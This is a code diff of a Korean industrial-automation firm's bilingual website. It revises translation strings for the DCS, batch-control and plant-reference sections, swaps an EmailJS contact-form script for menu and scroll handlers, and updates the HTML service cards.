'dcs.f0.desc' : 'Honeywell Experion PKS 플랫폼을 기반으로 한 안정적 DCS 솔루션', 'dcs.f0.desc' : 'Honeywell Experion 플랫폼을 기반으로 한 안정적이고 다양한 DCS 솔루션을 제공합니다.',
'dcs.f1.title' : '이중화 아키텍처', 'dcs.f1.title' : '이중화 아키텍처',
'dcs.f1.desc' : '이중화 서버로 99.99% 가동률을 보장하는 내결함성 시스템', 'dcs.f1.desc' : '이중화 서버 & 컨트롤러,통신으로 99.99% 가동률을 보장하는 내결함성 시스템',
'dcs.f2.title' : '실시간 통신', 'dcs.f2.title' : '실시간 통신',
'dcs.f2.desc' : '밀리초 미만의 응답 시간으로 다중 노드 간 동기화된 제어 실현', 'dcs.f2.desc' : '밀리초 미만의 응답 시간으로 다중 노드 간 동기화된 제어 실현',
'dcs.f3.title' : '보안 인증', 'dcs.f3.title' : '보안 인증',
@@ -175,15 +195,19 @@ const translations = {
'dcs.btn' : '기술 사양 요청', 'dcs.btn' : '기술 사양 요청',
// BATCH // BATCH
'batch.badge' : '프로세스 자동화', 'batch.badge' : '배치 프로세스 자동화',
'batch.title' : '배치 프로세스 제어', 'batch.title' : '배치 프로세스 제어',
'batch.desc' : '제약, 화학 및 특수 제조 공정을 위한 정교한 배치 자동화 시스템을 구축합니다.', 'batch.desc' : '배치 프로세스 자동화는 생산 제품의 다양성을 위한 정밀제어 및 제품별 설정 데이터 생성 및 관리, 생산 로트 이력관리가 하나의 시스템에서 실현됩니다. 반응기, 산업로(배치,연속 혼재공정) 등의 배치 플랜트에 최적화된 제어 시스템과 소프트웨어 솔루션을 제공합니다.',
'batch.f1.title': '레시피 관리', 'batch.f1.title': '배치 매니저 소프트웨어',
'batch.f1.desc' : '버전 관리 및 감사 추적 기능을 갖춘 동적 레시피 엔진', 'batch.f1.desc' : '제품별 설정값 패턴 ,레시피, 로트관리 등의 제어와 생산 데이터베이스가 하나의 시스템에서 제공됩니다',
'batch.f2.title': '성능 분석', 'batch.f2.title': 'ControlEdge HC900',
'batch.f2.desc' : '예측 품질 모니터링을 통한 실시간 배치 추적', 'batch.f2.desc' : '설정값 패턴 프로그램, 레시피, 정밀 PID 제어, PLC를 넘어서는 하이브리드 컨트롤러로 배치 플랜트에 최적화된 솔루션',
'batch.f3.title': 'GMP 준수', 'batch.f3.title': 'MES,ERP 연동',
'batch.f3.desc' : 'FDA 21 CFR Part 11 준수 및 완전한 데이터 무결성 보장', 'batch.f3.desc' : '자사 데이터베이스 서버를 통한, 손쉬운 MES, ERP 연동으로 생산 스케쥴 관리 지원 가능',
'batch.f4.title': '신속한 운전 설정',
'batch.f4.desc' : '단 한번의 다운로드로, 제품별 생산 환경 설정이 초단위로 완료됩니다',
'batch.f5.title': '생산 로트 이력 관리',
'batch.f5.desc' : '생산 로트 관리 및 로트별 차트 그래프를 제공하여 이력 데이터 분석에 탁월.',
'batch.btn' : '구축 상담 신청', 'batch.btn' : '구축 상담 신청',
// DBSVR // DBSVR
@@ -223,31 +247,48 @@ const translations = {
'inst.custom.btn' : '맞춤 구성 요청', 'inst.custom.btn' : '맞춤 구성 요청',
'inst.quote' : '견적 요청 →', 'inst.quote' : '견적 요청 →',
// SERVICES // REFERENCES
'svc.badge' : '서비스 역량', 'svc.badge' : '실적 플랜트 분야',
'svc.title' : '세계 최고 수준의 자동화', 'svc.title' : '다양한 산업 분야의 자동화 실적',
'svc.desc' : '고급 데이터 통합 및 분산 제어 시스템을 통해 복잡한 공정 공정을 위한 특화된 엔지니어링을 제공합니다.', 'svc.desc' : '공정에 대한 깊이있는 이해와 경험을 바탕으로 복잡한 공정을 위한 특화된 엔지니어링을 제공합니다.',
'svc.s1.title' : 'DCS 통합', 'svc.s1.title' : 'DCS / SCADA',
'svc.s1.desc' : '발전소, 화학 플랜트 등 대규모 공정을 위한 이중화 제어 아키텍처', 'svc.s1.desc' : '반도체용 솔벤트 회수 플랜트, 발전소, 화학 플랜트 등 대규모 공정을 위한 이중화 제어 아키텍처',
'svc.s1.item1' : '반도체용 솔벤트 회수 플랜트',
'svc.s1.item2' : '80% 하이드라진 플랜트',
'svc.s1.item3' : '발전소 SNCR & SCR 플랜트',
'svc.s1.item4' : '오일 탱크 터미널 플랜트',
'svc.s1.link' : '자세히 보기', 'svc.s1.link' : '자세히 보기',
'svc.s2.title' : 'SCADA 설계', 'svc.s2.title' : '배치 플랜트',
'svc.s2.desc' : '고급 HMI 및 보안 원격 접속 프로토콜을 갖춘 실시간 모니터링 플랫폼', 'svc.s2.desc' : '실시간 모니터링 플랫폼과 고급 HMI, 안전한 원격 액세스 프로토콜을 갖춘 배치 플랜트 제어 시스템',
'svc.s2.item1' : '마이크로 캡슐 발포제 플랜트',
'svc.s2.item2' : 'ADCA,HDCA 플랜트',
'svc.s2.item3' : '진공 열처리로 플랜트',
'svc.s2.link' : '사례 연구', 'svc.s2.link' : '사례 연구',
'svc.s3.title' : '데이터 히스토리안', 'svc.s3.title' : '기타 프로젝트',
'svc.s3.desc' : '대규모 공정 시계열 데이터 저장에 최적화된 미션 크리티컬 SQL 인프라', 'svc.s3.desc' : '기타 핵심 산업 자동화',
'svc.s3.item1' : '쓰레기 소각장 플랜트',
'svc.s3.item2' : '구리 환재 연속 주조로',
'svc.s3.item3' : '베어링 연속 열처리로 플랜트',
'svc.s3.item4' : '고속 냉간 연속 주조로 플랜트',
'svc.s3.link' : '데이터 보안', 'svc.s3.link' : '데이터 보안',
'svc.s4.title' : '제어 계측기기', 'svc.s4.title' : '제어 계측기기 협력사',
'svc.s4.desc' : '고정밀 교정을 통한 유량, 압력, 온도 스마트 현장 센서', 'svc.s4.desc' : '고객 현장에 대한 깊은 이해를 바탕으로 최적 계측기 선정',
'svc.s4.item1' : '한국하니웰(주)',
'svc.s4.item2' : '한국아즈빌(주)',
'svc.s4.item3' : '엔드레스하우저',
'svc.s4.item4' : '플로우닉스(주)',
'svc.s4.item5' : '(주)코모토',
'svc.s4.item6' : '오토닉스(주)',
'svc.s4.link' : '제품 카탈로그', 'svc.s4.link' : '제품 카탈로그',
// ABOUT // ABOUT
'about.badge' : '회사 소개', 'about.badge' : '회사 소개',
'about.title' : '공정 자동화의 신뢰할 수 있는 파트너', 'about.title' : '공정 자동화의 신뢰할 수 있는 파트너',
'about.p1' : '(주)한모씨앤앤는 창립 이래 공정 자동화 엔지니어링의 최전선에서 활동하고 있습니다. 세계에서 가장 까다로운 공정 현장을 위한 미션 크리티컬 제어 시스템 설계, 구현 및 유지보수를 전문으로 합니다.', 'about.p1' : '(주)한모씨앤앤는 창립 이래 공정 자동화 엔지니어링의 최전선에서 활동하고 있습니다. 세계에서 가장 까다로운 공정 현장을 위한 미션 크리티컬 제어 시스템 설계, 구현 및 유지보수를 전문으로 합니다.',
'about.p2' : '60여 명의 공인 엔지니어로 구성된 팀이 DCS, SCADA, 공정 네트워킹 분야에서 수십 년의 경험을 바탕으로 최고의 정밀도와 신뢰성을 보장합니다.', 'about.p2' : 'DCS, SCADA, 계측기기, 공정 네트워킹 분야에서 수십 년의 경험을 바탕으로 최고의 정밀도와 신뢰성을 보장합니다.',
'about.cert' : '인증', 'about.cert' : '인증',
'about.support' : '지원', 'about.support' : '지원',
'about.years' : '년 공정 분야 우수성', 'about.years' : '여년간의 공정 제어 전문성',
// CONTACT // CONTACT
'contact.badge' : '문의하기', 'contact.badge' : '문의하기',
@@ -265,7 +306,7 @@ const translations = {
'contact.error.fail' : '❌ 전송에 실패했습니다. 잠시 후 다시 시도해 주세요.', 'contact.error.fail' : '❌ 전송에 실패했습니다. 잠시 후 다시 시도해 주세요.',
// FOOTER // FOOTER
'footer.copy' : 2024 (주)한모씨앤앤. All rights reserved.', 'footer.copy' : '© (주)한모씨앤앤. All rights reserved.',
} }
}; };
@@ -288,8 +329,10 @@ function applyTranslations() {
el.textContent = t(key); el.textContent = t(key);
} }
}); });
// <html lang> 업데이트 // <html lang> 업데이트
document.documentElement.lang = currentLang; document.documentElement.lang = currentLang;
// 버튼 활성 상태 업데이트 // 버튼 활성 상태 업데이트
document.querySelectorAll('.lang-btn').forEach(btn => { document.querySelectorAll('.lang-btn').forEach(btn => {
btn.classList.toggle('active-lang', btn.dataset.lang === currentLang); btn.classList.toggle('active-lang', btn.dataset.lang === currentLang);
@@ -302,4 +345,5 @@ function switchLang(lang) {
applyTranslations(); applyTranslations();
} }
// DOMContentLoaded 시 번역 적용
document.addEventListener('DOMContentLoaded', applyTranslations); document.addEventListener('DOMContentLoaded', applyTranslations);

View File

@@ -1,89 +1,75 @@
// ============================================================ // ============================================================
// ★ EmailJS 설정 - 아래 3가지 값을 본인 계정으로 교체하세요 ★ // 메인 스크립트 (전체 기능 포함)
// ============================================================
const EMAILJS_PUBLIC_KEY = 'HO6i369gX6X5HEXtJ';
const EMAILJS_SERVICE_ID = 'service_4ur5lqd';
const EMAILJS_TEMPLATE_ID = 'template_jp0v5qv';
// ============================================================ // ============================================================
emailjs.init(EMAILJS_PUBLIC_KEY); // DOMContentLoaded 이벤트
document.addEventListener('DOMContentLoaded', () => {
// ── Contact Form ───────────────────────────────────────────── // ============================================================
document.getElementById('contact-submit').addEventListener('click', function () { // 메뉴 토글
const name = document.getElementById('contact-name').value.trim(); // ============================================================
const email = document.getElementById('contact-email').value.trim(); const menuBtn = document.querySelector('.menu-btn');
const company = document.getElementById('contact-company').value.trim(); const navMenu = document.querySelector('.nav-menu');
const message = document.getElementById('contact-message').value.trim(); if (menuBtn && navMenu) {
const btn = document.getElementById('contact-submit'); menuBtn.addEventListener('click', () => {
navMenu.classList.toggle('open');
if (!name || !email || !message) { menuBtn.classList.toggle('open');
showStatus('error', t('contact.error.required')); return; });
}
if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
showStatus('error', t('contact.error.email')); return;
} }
btn.disabled = true; // ============================================================
btn.textContent = t('contact.sending'); // 스크롤 애니메이션
// ============================================================
const templateParams = { const scrollElems = document.querySelectorAll('[data-scroll]');
name : name, const observerOptions = {
message : 'Email : ' + email + '\nCompany : ' + (company || 'N/A') + '\n\n' + message, root: null,
reply_to : email rootMargin: '0px',
threshold: 0.1
}; };
const scrollObserver = new IntersectionObserver((entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
entry.target.classList.add('animate');
observer.unobserve(entry.target);
}
});
}, observerOptions);
emailjs.send(EMAILJS_SERVICE_ID, EMAILJS_TEMPLATE_ID, templateParams) scrollElems.forEach(el => scrollObserver.observe(el));
.then(function () {
showStatus('success', t('contact.success')); // ============================================================
document.getElementById('contact-name').value = ''; // 상단 버튼/헤더 스크롤 효과
document.getElementById('contact-email').value = ''; // ============================================================
document.getElementById('contact-company').value = ''; const header = document.querySelector('header');
document.getElementById('contact-message').value = ''; const topBtn = document.querySelector('.back-to-top');
}) window.addEventListener('scroll', () => {
.catch(function (error) { if (window.scrollY > 50) {
console.error('EmailJS error:', error); header?.classList.add('scrolled');
showStatus('error', t('contact.error.fail')); topBtn?.classList.add('visible');
}) } else {
.finally(function () { header?.classList.remove('scrolled');
btn.disabled = false; topBtn?.classList.remove('visible');
btn.textContent = t('contact.btn'); }
});
topBtn?.addEventListener('click', () => window.scrollTo({ top: 0, behavior: 'smooth' }));
// ============================================================
// 기타 커스텀 이벤트/버튼
// ============================================================
// 예: 상담 신청 모달 열기
document.querySelectorAll('.open-consult').forEach(btn => {
btn.addEventListener('click', () => {
const modal = document.querySelector('#consult-modal');
modal?.classList.add('open');
});
});
// 예: 모달 닫기
document.querySelectorAll('.modal .close-btn').forEach(btn => {
btn.addEventListener('click', () => {
const modal = btn.closest('.modal');
modal?.classList.remove('open');
});
}); });
}); });
function showStatus(type, msg) {
const status = document.getElementById('contact-status');
status.classList.remove('hidden', 'bg-green-500/20', 'text-green-400', 'bg-red-500/20', 'text-red-400');
status.classList.add(type === 'success' ? 'bg-green-500/20' : 'bg-red-500/20',
type === 'success' ? 'text-green-400' : 'text-red-400');
status.textContent = msg;
}
// ── Header scroll ────────────────────────────────────────────
const mainHeader = document.getElementById('main-header');
const brandName = document.getElementById('brand-name');
const navLinks = document.querySelectorAll('.nav-link');
window.addEventListener('scroll', () => {
if (window.scrollY > 50) {
mainHeader.classList.add('glass-effect', 'py-3');
mainHeader.classList.remove('py-6');
if (brandName) brandName.classList.replace('text-white', 'text-slate-900');
navLinks.forEach(link => link.classList.replace('text-slate-100', 'text-slate-700'));
} else {
mainHeader.classList.remove('glass-effect', 'py-3');
mainHeader.classList.add('py-6');
if (brandName) brandName.classList.replace('text-slate-900', 'text-white');
navLinks.forEach(link => link.classList.replace('text-slate-700', 'text-slate-100'));
}
});
// ── Mobile menu ───────────────────────────────────────────────
const mobileMenuBtn = document.getElementById('mobile-menu-btn');
const mobileMenu = document.getElementById('mobile-menu');
const closeMenuBtn = document.getElementById('close-menu-btn');
if (mobileMenuBtn) mobileMenuBtn.addEventListener('click', () => mobileMenu.classList.remove('translate-x-full'));
if (closeMenuBtn) closeMenuBtn.addEventListener('click', () => mobileMenu.classList.add('translate-x-full'));
const mobileNavLinks = mobileMenu ? mobileMenu.querySelectorAll('a') : [];
mobileNavLinks.forEach(link => link.addEventListener('click', () => mobileMenu.classList.add('translate-x-full')));

View File

@@ -36,21 +36,21 @@
</a> </a>
<nav class="hidden md:flex gap-10"> <nav class="hidden md:flex gap-10">
<a href="#home" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.home">Home</a> <a href="#home" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.home">Home</a>
<a href="#dcs" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.dcs">DCS</a> <a href="#dcs" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.dcs">DCS</a>
<a href="#batch" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.batch">Batch Process</a> <a href="#batch" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.batch">Batch Process</a>
<a href="#dbsvr" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.dbsvr">Database Server</a> <a href="#dbsvr" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.dbsvr">Database Server</a>
<a href="#products" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.products">Instruments</a> <a href="#products" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.products">Instruments</a>
<a href="#services" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.services">Services</a> <a href="#services" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.services">Services</a>
<a href="#about" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.about">About</a> <a href="#about" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.about">About</a>
<a href="#contact" class="nav-link text-sm font-semibold text-slate-100 hover:text-blue-500 transition-colors" data-i18n="nav.contact">Contact</a> <a href="#contact" class="nav-link text-sm font-semibold hover:text-blue-500 transition-colors" data-i18n="nav.contact">Contact</a>
</nav> </nav>
<div class="hidden md:flex items-center gap-3"> <div class="hidden md:flex items-center gap-3">
<!-- 언어 전환 버튼 --> <!-- 언어 전환 버튼 -->
<div class="flex rounded-full overflow-hidden border border-white/20"> <div id="lang-container" class="flex rounded-full overflow-hidden border border-white/30 transition-colors duration-300">
<button onclick="switchLang('en')" data-lang="en" class="lang-btn active-lang px-3 py-1.5 text-[10px] font-bold font-industrial text-white transition-all">EN</button> <button onclick="switchLang('en')" data-lang="en" class="lang-btn px-3 py-1.5 text-[10px] font-bold font-industrial">EN</button>
<button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-3 py-1.5 text-[10px] font-bold font-industrial text-white transition-all">KO</button> <button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-3 py-1.5 text-[10px] font-bold font-industrial">KO</button>
</div> </div>
<button class="bg-blue-600 hover:bg-blue-700 text-white px-7 py-2.5 rounded-full text-xs font-bold shadow-xl transition-all active:scale-95 font-industrial tracking-widest uppercase" data-i18n="nav.quote">Request Quote</button> <button class="bg-blue-600 hover:bg-blue-700 text-white px-7 py-2.5 rounded-full text-xs font-bold shadow-xl transition-all active:scale-95 font-industrial tracking-widest uppercase" data-i18n="nav.quote">Request Quote</button>
</div> </div>
@@ -65,9 +65,9 @@
<div id="mobile-menu" class="fixed inset-0 z-[60] bg-slate-900 flex flex-col p-8 transition-transform translate-x-full duration-500 overflow-y-auto"> <div id="mobile-menu" class="fixed inset-0 z-[60] bg-slate-900 flex flex-col p-8 transition-transform translate-x-full duration-500 overflow-y-auto">
<div class="flex justify-between items-center mb-12"> <div class="flex justify-between items-center mb-12">
<!-- 모바일 언어 전환 --> <!-- 모바일 언어 전환 -->
<div class="flex rounded-full overflow-hidden border border-white/20"> <div class="flex rounded-full overflow-hidden border border-white/30">
<button onclick="switchLang('en')" data-lang="en" class="lang-btn active-lang px-4 py-2 text-xs font-bold font-industrial text-white transition-all">EN</button> <button onclick="switchLang('en')" data-lang="en" class="lang-btn px-4 py-2 text-xs font-bold font-industrial">EN</button>
<button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-4 py-2 text-xs font-bold font-industrial text-white transition-all">KO</button> <button onclick="switchLang('ko')" data-lang="ko" class="lang-btn px-4 py-2 text-xs font-bold font-industrial">KO</button>
</div> </div>
<button id="close-menu-btn" class="text-white text-3xl">&times;</button> <button id="close-menu-btn" class="text-white text-3xl">&times;</button>
</div> </div>
@@ -320,13 +320,13 @@
</div> </div>
</section> </section>
<!-- SERVICES SECTION --> <!-- REFERENCES SECTION -->
<section id="services" class="py-32 bg-white"> <section id="services" class="py-32 bg-white">
<div class="container mx-auto px-6"> <div class="container mx-auto px-6">
<div class="text-center max-w-3xl mx-auto mb-24"> <div class="text-center max-w-3xl mx-auto mb-24">
<h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="svc.badge">Our Capabilities</h2> <h2 class="text-blue-600 font-bold uppercase tracking-widest text-[11px] mb-4 font-industrial" data-i18n="svc.badge">Referenced Plant Varieties</h2>
<h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="svc.title">World-Class Automation</h3> <h3 class="text-4xl md:text-6xl font-light text-slate-900 mb-8 premium-kerning font-premium" data-i18n="svc.title">Versatile Automation References</h3>
<p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="svc.desc">Specialized engineering for complex physical operations through advanced data integration and distributed control systems.</p> <p class="text-slate-500 text-lg leading-relaxed font-light" data-i18n="svc.desc">From Deep Understanding of various industry references to Seamless Execution.</p>
</div> </div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8"> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
@@ -334,34 +334,147 @@
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-network-wired text-blue-600 group-hover:text-white text-xl"></i></div> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-network-wired text-blue-600 group-hover:text-white text-xl"></i></div>
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s1.title">DCS Integration</h4> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s1.title">DCS Integration</h4>
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s1.desc">Redundant control architectures for utility-scale industries including power and chemical plants.</p> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flx-grow" data-i18n="svc.s1.desc">Semiconductor Solvent Recovery & Production Plant., 80% Hydragin Plant, SNCR & SCR Envirionmental Plant, etc</p>-->
<ul class="text-slate-500 text-xs md:text-sm
leading-relaxed
mb-8 md:mb-10
font-light
flex-grow
space-y-3">
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s1.item4"></span>
</li>
</ul>
<a href="#dcs" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s1.link">Learn More <i class="fas fa-arrow-right"></i></a> <a href="#dcs" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s1.link">Learn More <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"><img src="https://images.unsplash.com/photo-1551288049-bebda4e38f71?auto=format&fit=crop&q=80&w=800" alt="SCADA" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div> <div class="h-56 overflow-hidden"><img src="assets/images/reactor.png?auto=format&fit=crop&q=80&w=800" alt="SCADA" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-chart-line text-blue-600 group-hover:text-white text-xl"></i></div> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-chart-line text-blue-600 group-hover:text-white text-xl"></i></div>
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s2.title">SCADA Design</h4> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s2.title">SCADA Design</h4>
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s2.desc">Real-time monitoring platforms with advanced HMI and secure remote access protocols.</p> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s2.desc">Real-time monitoring platforms with advanced HMI and secure remote access protocols.</p>-->
<ul class="text-slate-500 text-xs md:text-sm
leading-relaxed
mb-8 md:mb-10
font-light
flex-grow
space-y-3">
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s2.item3"></span>
</li>
</ul>
<a href="#services" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s2.link">Case Studies <i class="fas fa-arrow-right"></i></a> <a href="#services" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s2.link">Case Studies <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"><img src="https://images.unsplash.com/photo-1558494949-ef010cbdcc48?auto=format&fit=crop&q=80&w=800" alt="Historian" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div> <div class="h-56 overflow-hidden"><img src="assets/images/bearing.png" alt="Historian" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-database text-blue-600 group-hover:text-white text-xl"></i></div> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-database text-blue-600 group-hover:text-white text-xl"></i></div>
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s3.title">Data Historians</h4> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s3.title">Data Historians</h4>
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s3.desc">Mission-critical SQL infrastructure optimized for massive industrial time-series data storage.</p> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s3.desc">Mission-critical SQL infrastructure optimized for massive industrial time-series data storage.</p>-->
<ul class="text-slate-500 text-xs md:text-sm
leading-relaxed
mb-8 md:mb-10
font-light
flex-grow
space-y-3">
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s3.item4"></span>
</li>
</ul>
<a href="#dbsvr" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s3.link">Data Security <i class="fas fa-arrow-right"></i></a> <a href="#dbsvr" class="text-blue-600 font-bold text-xs uppercase tracking-widest flex items-center gap-3" data-i18n="svc.s3.link">Data Security <i class="fas fa-arrow-right"></i></a>
</div> </div>
</div> </div>
<div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl"> <div class="service-card group flex flex-col h-full bg-slate-50 rounded-[2.5rem] overflow-hidden border border-transparent hover:border-blue-100 transition-all duration-500 hover:shadow-2xl">
<div class="h-56 overflow-hidden"><img src="https://images.unsplash.com/photo-1531482615713-2afd69097998?auto=format&fit=crop&q=80&w=800" alt="Instruments" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div> <div class="h-56 overflow-hidden"><img src="assets/images/instrument.png" alt="Instruments" class="service-image w-full h-full object-cover grayscale transition-all duration-700"></div>
<div class="p-10 flex-grow flex flex-col"> <div class="p-10 flex-grow flex flex-col">
<div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-gauge-high text-blue-600 group-hover:text-white text-xl"></i></div> <div class="w-14 h-14 bg-white rounded-2xl shadow-sm flex items-center justify-center mb-8 group-hover:bg-blue-600 transition-all duration-500"><i class="fas fa-gauge-high text-blue-600 group-hover:text-white text-xl"></i></div>
<h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s4.title">Control Instruments</h4> <h4 class="text-2xl font-normal text-slate-900 mb-4 font-premium" data-i18n="svc.s4.title">Control Instruments</h4>
<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s4.desc">Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.</p> <!--<p class="text-slate-500 text-sm leading-relaxed mb-10 font-light flex-grow" data-i18n="svc.s4.desc">Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.</p>-->
<ul class="text-slate-500 text-xs md:text-sm
leading-relaxed
mb-8 md:mb-10
font-light
flex-grow
space-y-3">
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item1"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item2"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item3"></span>
</li>
<li class="flex items-start gap-3">
<i class="fas fa-check text-blue-600 mt-1 text-[10px] md:text-xs"></i>
<span data-i18n="svc.s4.item4"></span>
</li>
<li class="flex items-start gap-3">
